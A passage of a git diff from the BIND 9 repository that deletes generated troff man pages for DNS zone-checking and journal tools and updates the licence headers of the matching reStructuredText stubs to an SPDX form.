-\fBlocal\-sibling\fP, and \fBnone\fP\&.
-.sp
-Mode \fBfull\fP checks that MX records refer to A or AAAA records
-(both in\-zone and out\-of\-zone hostnames). Mode \fBlocal\fP only
-checks MX records which refer to in\-zone hostnames.
-.sp
-Mode \fBfull\fP checks that SRV records refer to A or AAAA records
-(both in\-zone and out\-of\-zone hostnames). Mode \fBlocal\fP only
-checks SRV records which refer to in\-zone hostnames.
-.sp
-Mode \fBfull\fP checks that delegation NS records refer to A or AAAA
-records (both in\-zone and out\-of\-zone hostnames). It also checks that
-glue address records in the zone match those advertised by the child.
-Mode \fBlocal\fP only checks NS records which refer to in\-zone
-hostnames or verifies that some required glue exists, i.e., when the
-name server is in a child zone.
-.sp
-Modes \fBfull\-sibling\fP and \fBlocal\-sibling\fP disable sibling glue
-checks, but are otherwise the same as \fBfull\fP and \fBlocal\fP,
-respectively.
-.sp
-Mode \fBnone\fP disables the checks.
-.TP
-.B \fB\-f format\fP
-This option specifies the format of the zone file. Possible formats are \fBtext\fP
-(the default), \fBraw\fP, and \fBmap\fP\&.
-.TP
-.B \fB\-F format\fP
-This option specifies the format of the output file specified. For
-\fBnamed\-checkzone\fP, this does not have any effect unless it dumps
-the zone contents.
-.sp
-Possible formats are \fBtext\fP (the default), which is the standard
-textual representation of the zone, and \fBmap\fP, \fBraw\fP, and
-\fBraw=N\fP, which store the zone in a binary format for rapid
-loading by \fBnamed\fP\&. \fBraw=N\fP specifies the format version of the
-raw zone file: if \fBN\fP is 0, the raw file can be read by any version of
-\fBnamed\fP; if N is 1, the file can only be read by release 9.9.0 or
-higher. The default is 1.
-.TP
-.B \fB\-k mode\fP
-This option performs \fBcheck\-names\fP checks with the specified failure mode.
-Possible modes are \fBfail\fP (the default for \fBnamed\-compilezone\fP),
-\fBwarn\fP (the default for \fBnamed\-checkzone\fP), and \fBignore\fP\&.
-.TP
-.B \fB\-l ttl\fP
-This option sets a maximum permissible TTL for the input file. Any record with a
-TTL higher than this value causes the zone to be rejected. This
-is similar to using the \fBmax\-zone\-ttl\fP option in \fBnamed.conf\fP\&.
-.TP
-.B \fB\-L serial\fP
-When compiling a zone to \fBraw\fP or \fBmap\fP format, this option sets the "source
-serial" value in the header to the specified serial number. This is
-expected to be used primarily for testing purposes.
-.TP
-.B \fB\-m mode\fP
-This option specifies whether MX records should be checked to see if they are
-addresses. Possible modes are \fBfail\fP, \fBwarn\fP (the default), and
-\fBignore\fP\&.
-.TP
-.B \fB\-M mode\fP
-This option checks whether a MX record refers to a CNAME. Possible modes are
-\fBfail\fP, \fBwarn\fP (the default), and \fBignore\fP\&.
-.TP
-.B \fB\-n mode\fP
-This option specifies whether NS records should be checked to see if they are
-addresses. Possible modes are \fBfail\fP (the default for
-\fBnamed\-compilezone\fP), \fBwarn\fP (the default for \fBnamed\-checkzone\fP),
-and \fBignore\fP\&.
-.TP
-.B \fB\-o filename\fP
-This option writes the zone output to \fBfilename\fP\&. If \fBfilename\fP is \fB\-\fP, then
-the zone output is written to standard output. This is mandatory for \fBnamed\-compilezone\fP\&.
-.TP
-.B \fB\-r mode\fP
-This option checks for records that are treated as different by DNSSEC but are
-semantically equal in plain DNS. Possible modes are \fBfail\fP,
-\fBwarn\fP (the default), and \fBignore\fP\&.
-.TP
-.B \fB\-s style\fP
-This option specifies the style of the dumped zone file. Possible styles are
-\fBfull\fP (the default) and \fBrelative\fP\&. The \fBfull\fP format is most
-suitable for processing automatically by a separate script.
-The relative format is more human\-readable and is thus
-suitable for editing by hand. For \fBnamed\-checkzone\fP, this does not
-have any effect unless it dumps the zone contents. It also does not
-have any meaning if the output format is not text.
-.TP
-.B \fB\-S mode\fP
-This option checks whether an SRV record refers to a CNAME. Possible modes are
-\fBfail\fP, \fBwarn\fP (the default), and \fBignore\fP\&.
-.TP
-.B \fB\-t directory\fP
-This option tells \fBnamed\fP to chroot to \fBdirectory\fP, so that \fBinclude\fP directives in the
-configuration file are processed as if run by a similarly chrooted
-\fBnamed\fP\&.
-.TP
-.B \fB\-T mode\fP
-This option checks whether Sender Policy Framework (SPF) records exist and issues a
-warning if an SPF\-formatted TXT record is not also present. Possible
-modes are \fBwarn\fP (the default) and \fBignore\fP\&.
-.TP
-.B \fB\-w directory\fP
-This option instructs \fBnamed\fP to chdir to \fBdirectory\fP, so that relative filenames in master file
-\fB$INCLUDE\fP directives work. This is similar to the directory clause in
-\fBnamed.conf\fP\&.
-.TP
-.B \fB\-D\fP
-This option dumps the zone file in canonical format. This is always enabled for
-\fBnamed\-compilezone\fP\&.
-.TP
-.B \fB\-W mode\fP
-This option specifies whether to check for non\-terminal wildcards. Non\-terminal
-wildcards are almost always the result of a failure to understand the
-wildcard matching algorithm (\fI\%RFC 1034\fP). Possible modes are \fBwarn\fP
-(the default) and \fBignore\fP\&.
-.TP
-.B \fBzonename\fP
-This indicates the domain name of the zone being checked.
-.TP
-.B \fBfilename\fP
-This is the name of the zone file.
-.UNINDENT
-.SH RETURN VALUES
-.sp
-\fBnamed\-checkzone\fP returns an exit status of 1 if errors were detected
-and 0 otherwise.
-.SH SEE ALSO
-.sp
-\fBnamed(8)\fP, \fBnamed\-checkconf(8)\fP, \fI\%RFC 1035\fP, BIND 9 Administrator Reference
-Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/named-checkzone.rst b/doc/man/named-checkzone.rst
index a62206cb98..53d2a00088 100644
--- a/doc/man/named-checkzone.rst
+++ b/doc/man/named-checkzone.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/check/named-checkzone.rst
\ No newline at end of file
+.. include:: ../../bin/check/named-checkzone.rst
diff --git a/doc/man/named-compilezone.1in b/doc/man/named-compilezone.1in
deleted file mode 100644
index 8ac29f999f..0000000000
--- a/doc/man/named-compilezone.1in
+++ /dev/null
@@ -1,218 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "NAMED-COMPILEZONE" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-named-compilezone \- zone file validity checking or converting tool
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBnamed\-checkzone\fP [\fB\-d\fP] [\fB\-h\fP] [\fB\-j\fP] [\fB\-q\fP] [\fB\-v\fP] [\fB\-c\fP class] [\fB\-f\fP format] [\fB\-F\fP format] [\fB\-J\fP filename] [\fB\-i\fP mode] [\fB\-k\fP mode] [\fB\-m\fP mode] [\fB\-M\fP mode] [\fB\-n\fP mode] [\fB\-l\fP ttl] [\fB\-L\fP serial] [\fB\-o\fP filename] [\fB\-r\fP mode] [\fB\-s\fP style] [\fB\-S\fP mode] [\fB\-t\fP directory] [\fB\-T\fP mode] [\fB\-w\fP directory] [\fB\-D\fP] [\fB\-W\fP mode] {zonename} {filename}
-.sp
-\fBnamed\-compilezone\fP [\fB\-d\fP] [\fB\-j\fP] [\fB\-q\fP] [\fB\-v\fP] [\fB\-c\fP class] [\fB\-C\fP mode] [\fB\-f\fP format] [\fB\-F\fP format] [\fB\-J\fP filename] [\fB\-i\fP mode] [\fB\-k\fP mode] [\fB\-m\fP mode] [\fB\-n\fP mode] [\fB\-l\fP ttl] [\fB\-L\fP serial] [\fB\-r\fP mode] [\fB\-s\fP style] [\fB\-t\fP directory] [\fB\-T\fP mode] [\fB\-w\fP directory] [\fB\-D\fP] [\fB\-W\fP mode] {\fB\-o\fP filename} {zonename} {filename}
-.SH DESCRIPTION
-.sp
-\fBnamed\-checkzone\fP checks the syntax and integrity of a zone file. It
-performs the same checks as \fBnamed\fP does when loading a zone. This
-makes \fBnamed\-checkzone\fP useful for checking zone files before
-configuring them into a name server.
-.sp
-\fBnamed\-compilezone\fP is similar to \fBnamed\-checkzone\fP, but it always
-dumps the zone contents to a specified file in a specified format.
-It also applies stricter check levels by default, since the
-dump output is used as an actual zone file loaded by \fBnamed\fP\&.
-When manually specified otherwise, the check levels must at least be as
-strict as those specified in the \fBnamed\fP configuration file.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-d\fP
-This option enables debugging.
-.TP
-.B \fB\-h\fP
-This option prints the usage summary and exits.
-.TP
-.B \fB\-q\fP
-This option sets quiet mode, which only sets an exit code to indicate
-successful or failed completion.
-.TP
-.B \fB\-v\fP
-This option prints the version of the \fBnamed\-checkzone\fP program and exits.
-.TP
-.B \fB\-j\fP
-When loading a zone file, this option tells \fBnamed\fP to read the journal if it exists. The journal
-file name is assumed to be the zone file name with the
-string \fB\&.jnl\fP appended.
-.TP
-.B \fB\-J filename\fP
-When loading the zone file, this option tells \fBnamed\fP to read the journal from the given file, if
-it exists. This implies \fB\-j\fP\&.
-.TP
-.B \fB\-c class\fP
-This option specifies the class of the zone. If not specified, \fBIN\fP is assumed.
-.TP
-.B \fB\-i mode\fP
-This option performs post\-load zone integrity checks. Possible modes are
-\fBfull\fP (the default), \fBfull\-sibling\fP, \fBlocal\fP,
-\fBlocal\-sibling\fP, and \fBnone\fP\&.
-.sp
-Mode \fBfull\fP checks that MX records refer to A or AAAA records
-(both in\-zone and out\-of\-zone hostnames). Mode \fBlocal\fP only
-checks MX records which refer to in\-zone hostnames.
-.sp
-Mode \fBfull\fP checks that SRV records refer to A or AAAA records
-(both in\-zone and out\-of\-zone hostnames). Mode \fBlocal\fP only
-checks SRV records which refer to in\-zone hostnames.
-.sp
-Mode \fBfull\fP checks that delegation NS records refer to A or AAAA
-records (both in\-zone and out\-of\-zone hostnames). It also checks that
-glue address records in the zone match those advertised by the child.
-Mode \fBlocal\fP only checks NS records which refer to in\-zone
-hostnames or verifies that some required glue exists, i.e., when the
-name server is in a child zone.
-.sp
-Modes \fBfull\-sibling\fP and \fBlocal\-sibling\fP disable sibling glue
-checks, but are otherwise the same as \fBfull\fP and \fBlocal\fP,
-respectively.
-.sp
-Mode \fBnone\fP disables the checks.
-.TP
-.B \fB\-f format\fP
-This option specifies the format of the zone file. Possible formats are \fBtext\fP
-(the default), \fBraw\fP, and \fBmap\fP\&.
-.TP
-.B \fB\-F format\fP
-This option specifies the format of the output file specified. For
-\fBnamed\-checkzone\fP, this does not have any effect unless it dumps
-the zone contents.
-.sp
-Possible formats are \fBtext\fP (the default), which is the standard
-textual representation of the zone, and \fBmap\fP, \fBraw\fP, and
-\fBraw=N\fP, which store the zone in a binary format for rapid
-loading by \fBnamed\fP\&. \fBraw=N\fP specifies the format version of the
-raw zone file: if \fBN\fP is 0, the raw file can be read by any version of
-\fBnamed\fP; if N is 1, the file can only be read by release 9.9.0 or
-higher. The default is 1.
-.TP
-.B \fB\-k mode\fP
-This option performs \fBcheck\-names\fP checks with the specified failure mode.
-Possible modes are \fBfail\fP (the default for \fBnamed\-compilezone\fP),
-\fBwarn\fP (the default for \fBnamed\-checkzone\fP), and \fBignore\fP\&.
-.TP
-.B \fB\-l ttl\fP
-This option sets a maximum permissible TTL for the input file. Any record with a
-TTL higher than this value causes the zone to be rejected. This
-is similar to using the \fBmax\-zone\-ttl\fP option in \fBnamed.conf\fP\&.
-.TP
-.B \fB\-L serial\fP
-When compiling a zone to \fBraw\fP or \fBmap\fP format, this option sets the "source
-serial" value in the header to the specified serial number. This is
-expected to be used primarily for testing purposes.
-.TP
-.B \fB\-m mode\fP
-This option specifies whether MX records should be checked to see if they are
-addresses. Possible modes are \fBfail\fP, \fBwarn\fP (the default), and
-\fBignore\fP\&.
-.TP
-.B \fB\-M mode\fP
-This option checks whether a MX record refers to a CNAME. Possible modes are
-\fBfail\fP, \fBwarn\fP (the default), and \fBignore\fP\&.
-.TP
-.B \fB\-n mode\fP
-This option specifies whether NS records should be checked to see if they are
-addresses. Possible modes are \fBfail\fP (the default for
-\fBnamed\-compilezone\fP), \fBwarn\fP (the default for \fBnamed\-checkzone\fP),
-and \fBignore\fP\&.
-.TP
-.B \fB\-o filename\fP
-This option writes the zone output to \fBfilename\fP\&. If \fBfilename\fP is \fB\-\fP, then
-the zone output is written to standard output. This is mandatory for \fBnamed\-compilezone\fP\&.
-.TP
-.B \fB\-r mode\fP
-This option checks for records that are treated as different by DNSSEC but are
-semantically equal in plain DNS. Possible modes are \fBfail\fP,
-\fBwarn\fP (the default), and \fBignore\fP\&.
-.TP
-.B \fB\-s style\fP
-This option specifies the style of the dumped zone file. Possible styles are
-\fBfull\fP (the default) and \fBrelative\fP\&. The \fBfull\fP format is most
-suitable for processing automatically by a separate script.
-The relative format is more human\-readable and is thus
-suitable for editing by hand. For \fBnamed\-checkzone\fP, this does not
-have any effect unless it dumps the zone contents. It also does not
-have any meaning if the output format is not text.
-.TP
-.B \fB\-S mode\fP
-This option checks whether an SRV record refers to a CNAME. Possible modes are
-\fBfail\fP, \fBwarn\fP (the default), and \fBignore\fP\&.
-.TP
-.B \fB\-t directory\fP
-This option tells \fBnamed\fP to chroot to \fBdirectory\fP, so that \fBinclude\fP directives in the
-configuration file are processed as if run by a similarly chrooted
-\fBnamed\fP\&.
-.TP
-.B \fB\-T mode\fP
-This option checks whether Sender Policy Framework (SPF) records exist and issues a
-warning if an SPF\-formatted TXT record is not also present. Possible
-modes are \fBwarn\fP (the default) and \fBignore\fP\&.
-.TP
-.B \fB\-w directory\fP
-This option instructs \fBnamed\fP to chdir to \fBdirectory\fP, so that relative filenames in master file
-\fB$INCLUDE\fP directives work. This is similar to the directory clause in
-\fBnamed.conf\fP\&.
-.TP
-.B \fB\-D\fP
-This option dumps the zone file in canonical format. This is always enabled for
-\fBnamed\-compilezone\fP\&.
-.TP
-.B \fB\-W mode\fP
-This option specifies whether to check for non\-terminal wildcards. Non\-terminal
-wildcards are almost always the result of a failure to understand the
-wildcard matching algorithm (\fI\%RFC 1034\fP). Possible modes are \fBwarn\fP
-(the default) and \fBignore\fP\&.
-.TP
-.B \fBzonename\fP
-This indicates the domain name of the zone being checked.
-.TP
-.B \fBfilename\fP
-This is the name of the zone file.
-.UNINDENT
-.SH RETURN VALUES
-.sp
-\fBnamed\-checkzone\fP returns an exit status of 1 if errors were detected
-and 0 otherwise.
-.SH SEE ALSO
-.sp
-\fBnamed(8)\fP, \fBnamed\-checkconf(8)\fP, \fI\%RFC 1035\fP, BIND 9 Administrator Reference
-Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/named-compilezone.rst b/doc/man/named-compilezone.rst
index a62206cb98..9d3cae6d1d 100644
--- a/doc/man/named-compilezone.rst
+++ b/doc/man/named-compilezone.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/check/named-checkzone.rst
\ No newline at end of file
+.. include:: ../../bin/check/named-compilezone.rst
diff --git a/doc/man/named-journalprint.1in b/doc/man/named-journalprint.1in
deleted file mode 100644
index 8b4c7c6929..0000000000
--- a/doc/man/named-journalprint.1in
+++ /dev/null
@@ -1,79 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "NAMED-JOURNALPRINT" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-named-journalprint \- print zone journal in human-readable form
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBnamed\-journalprint\fP [\-c serial] [\fB\-dux\fP] {journal}
-.SH DESCRIPTION
-.sp
-\fBnamed\-journalprint\fP scans the contents of a zone journal file,
-printing it in a human\-readable form, or, optionally, converting it
-to a different journal file format.
-.sp
-Journal files are automatically created by \fBnamed\fP when changes are
-made to dynamic zones (e.g., by \fBnsupdate\fP). They record each addition
-or deletion of a resource record, in binary format, allowing the changes
-to be re\-applied to the zone when the server is restarted after a
-shutdown or crash. By default, the name of the journal file is formed by
-appending the extension \fB\&.jnl\fP to the name of the corresponding zone
-file.
-.sp
-\fBnamed\-journalprint\fP converts the contents of a given journal file
-into a human\-readable text format. Each line begins with \fBadd\fP or \fBdel\fP,
-to indicate whether the record was added or deleted, and continues with
-the resource record in master\-file format.
-.sp
-The \fB\-c\fP (compact) option provides a mechanism to reduce the size of
-a journal by removing (most/all) transactions prior to the specified
-serial number. Note: this option \fImust not\fP be used while \fBnamed\fP is
-running, and can cause data loss if the zone file has not been updated
-to contain the data being removed from the journal. Use with extreme caution.
-.sp
-The \fB\-x\fP option causes additional data about the journal file to be
-printed at the beginning of the output and before each group of changes.
-.sp
-The \fB\-u\fP (upgrade) and \fB\-d\fP (downgrade) options recreate the journal
-file with a modified format version.  The existing journal file is
-replaced.  \fB\-d\fP writes out the journal in the format used by
-versions of BIND up to 9.16.11; \fB\-u\fP writes it out in the format used
-by versions since 9.16.13. (9.16.12 is omitted due to a journal\-formatting
-bug in that release.) Note that these options \fImust not\fP be used while
-\fBnamed\fP is running.
-.SH SEE ALSO
-.sp
-\fBnamed(8)\fP, \fBnsupdate(1)\fP, BIND 9 Administrator Reference Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/named-journalprint.rst b/doc/man/named-journalprint.rst
index a2dc539f2e..9317f7b9e9 100644
--- a/doc/man/named-journalprint.rst
+++ b/doc/man/named-journalprint.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/tools/named-journalprint.rst
\ No newline at end of file
+.. include:: ../../bin/tools/named-journalprint.rst
diff --git a/doc/man/named-nzd2nzf.1in b/doc/man/named-nzd2nzf.1in
deleted file mode 100644
index f52b93f012..0000000000
--- a/doc/man/named-nzd2nzf.1in
+++ /dev/null
@@ -1,57 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "NAMED-NZD2NZF" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-named-nzd2nzf \- convert an NZD database to NZF text format
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBnamed\-nzd2nzf\fP {filename}
-.SH DESCRIPTION
-.sp
-\fBnamed\-nzd2nzf\fP converts an NZD database to NZF format and prints it
-to standard output. This can be used to review the configuration of
-zones that were added to \fBnamed\fP via \fBrndc addzone\fP\&. It can also be
-used to restore the old file format when rolling back from a newer
-version of BIND to an older version.
-.SH ARGUMENTS
-.INDENT 0.0
-.TP
-.B \fBfilename\fP
-This is the name of the \fB\&.nzd\fP file whose contents should be printed.
-.UNINDENT
-.SH SEE ALSO
-.sp
-BIND 9 Administrator Reference Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/named-nzd2nzf.rst b/doc/man/named-nzd2nzf.rst
index 15c048a5e7..10d59e948d 100644
--- a/doc/man/named-nzd2nzf.rst
+++ b/doc/man/named-nzd2nzf.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/tools/named-nzd2nzf.rst
\ No newline at end of file
+.. include:: ../../bin/tools/named-nzd2nzf.rst
diff --git a/doc/man/named-rrchecker.1in b/doc/man/named-rrchecker.1in
deleted file mode 100644
index 1c6f7ab818..0000000000
--- a/doc/man/named-rrchecker.1in
+++ /dev/null
@@ -1,70 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "NAMED-RRCHECKER" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-named-rrchecker \- syntax checker for individual DNS resource records
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBnamed\-rrchecker\fP [\fB\-h\fP] [\fB\-o\fP origin] [\fB\-p\fP] [\fB\-u\fP] [\fB\-C\fP] [\fB\-T\fP] [\fB\-P\fP]
-.SH DESCRIPTION
-.sp
-\fBnamed\-rrchecker\fP reads a individual DNS resource record from standard
-input and checks whether it is syntactically correct.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-h\fP
-This option prints out the help menu.
-.TP
-.B \fB\-o origin\fP
-This option specifies the origin to be used when interpreting
-the record.
-.TP
-.B \fB\-p\fP
-This option prints out the resulting record in canonical form. If there
-is no canonical form defined, the record is printed in unknown
-record format.
-.TP
-.B \fB\-u\fP
-This option prints out the resulting record in unknown record form.
-.TP
-.B \fB\-C\fP, \fB\-T\fP, and \fB\-P\fP
-These options print out the known class, standard type,
-and private type mnemonics, respectively.
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fI\%RFC 1034\fP, \fI\%RFC 1035\fP, \fBnamed(8)\fP\&.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/named-rrchecker.rst b/doc/man/named-rrchecker.rst
index c31b8bafb4..fff9f82d2c 100644
--- a/doc/man/named-rrchecker.rst
+++ b/doc/man/named-rrchecker.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/tools/named-rrchecker.rst
\ No newline at end of file
+.. include:: ../../bin/tools/named-rrchecker.rst
diff --git a/doc/man/named.8in b/doc/man/named.8in
deleted file mode 100644
index 3644de685c..0000000000
--- a/doc/man/named.8in
+++ /dev/null
@@ -1,267 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "NAMED" "8" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-named \- Internet domain name server
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBnamed\fP [ [\fB\-4\fP] | [\fB\-6\fP] ] [\fB\-c\fP config\-file] [\fB\-d\fP debug\-level] [\fB\-D\fP string] [\fB\-E\fP engine\-name] [\fB\-f\fP] [\fB\-g\fP] [\fB\-L\fP logfile] [\fB\-M\fP option] [\fB\-m\fP flag] [\fB\-n\fP #cpus] [\fB\-p\fP port] [\fB\-s\fP] [\fB\-S\fP #max\-socks] [\fB\-t\fP directory] [\fB\-U\fP #listeners] [\fB\-u\fP user] [\fB\-v\fP] [\fB\-V\fP] [\fB\-X\fP lock\-file] [\fB\-x\fP cache\-file]
-.SH DESCRIPTION
-.sp
-\fBnamed\fP is a Domain Name System (DNS) server, part of the BIND 9
-distribution from ISC. For more information on the DNS, see \fI\%RFC 1033\fP,
-\fI\%RFC 1034\fP, and \fI\%RFC 1035\fP\&.
-.sp
-When invoked without arguments, \fBnamed\fP reads the default
